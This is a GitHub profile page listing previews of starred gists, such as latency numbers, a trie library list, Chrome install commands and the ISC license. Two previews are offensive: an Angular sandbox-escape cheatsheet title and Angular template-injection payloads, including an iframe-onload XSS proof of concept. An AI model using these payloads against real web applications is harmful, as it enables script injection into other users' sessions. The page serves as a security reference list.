Skip to content

Instantly share code, notes, and snippets.

View sagi's full-sized avatar
Making

Sagi Kedmi sagi

Making
View GitHub Profile
@jboner
jboner / latency.txt
Last active June 21, 2024 17:41
Latency Numbers Every Programmer Should Know
Latency Comparison Numbers (~2012)
----------------------------------
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
@dideler
dideler / 0-startup-overview.md
Last active May 3, 2024 11:03
Startup Engineering notes
@max-mapper
max-mapper / readme.md
Last active April 28, 2019 03:55
trie implementations on npm

a trie (aka prefix trie) is a way of storing string values such that for an input string (e.g. autocomplete) all matching stored values can be re__trie__ved efficiently

listed alphabetically:

  • burst-trie - burst trie implementation, seems to be written in a Java style, no readme, not sure how fast it is
  • datrie - double array trie - a trie that uses arrays instead of objects for faster + smaller serialization
  • dtrie - trie based on minimal automaton, has stress tests, API is coupled to node though (requires fs)
  • glob-trie - trie with pattern matching expressions like * ? \ etc, has stress tests
  • iptrie - radix/patricia trie implementation specifically for IPv4 and IPv6 addresses
  • [marisa-trie](https://code.google.com/p/mari
@guifromrio
guifromrio / nodejs-ubuntu-bind-port-80.md
Last active January 10, 2024 22:47
Allow Node.js to bind to privileged ports without root access on Ubuntu

How to: Allow Node to bind to port 80 without sudo

TL;DR

Only do this if you understand the consequences: all node programs will be able to bind on ports < 1024

sudo setcap 'cap_net_bind_service=+ep' /usr/local/bin/node

Important: your node location may vary. Use which node to find it, or use it directly in the command:

@indexzero
indexzero / ISC.md
Created April 13, 2014 21:00
ISC vs. MIT

Copyright (c) 4-digit year, Company or Person's Name

Permission to use, copy, modify, and/or distribute this software for any purpose with or without fee is hereby granted, provided that the above copyright notice and this permission notice appear in all copies.

THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.

Source: http://opensource.org/licenses/ISC

@mrtns
mrtns / gist:78d15e3263b2f6a231fe
Last active May 19, 2024 06:53
Upgrade Chrome from Command Line on Ubuntu
# Install
# via http://askubuntu.com/questions/510056/how-to-install-google-chrome
wget -q -O - https://dl-ssl.google.com/linux/linux_signing_key.pub | sudo apt-key add -
sudo sh -c 'echo "deb http://dl.google.com/linux/chrome/deb/ stable main" >> /etc/apt/sources.list.d/google-chrome.list'
sudo apt-get update
sudo apt-get install google-chrome-stable
# Update
@jeremybuis
jeremybuis / angular.sandbox.escapes.md
Created January 27, 2016 15:31
Angular Sandbox Escape Cheatsheet
@jvanja
jvanja / pngquant_on_all.sh
Created June 23, 2016 08:52
Execute pngquant on all PNGs in subfolders and overwrite original files.
pngquant -f --ext .png **/*.png
@mccabe615
mccabe615 / AngularTI.md
Last active April 18, 2024 11:37
Angular Template Injection Payloads

1.3.2 and below

{{7*7}}

'a'.constructor.fromCharCode=[].join;
'a'.constructor[0]='\u003ciframe onload=alert(/Backdoored/)\u003e';
@zenorocha
zenorocha / basic.md
Last active March 26, 2023 09:00
New Firebase Auth vs Old Firebase Auth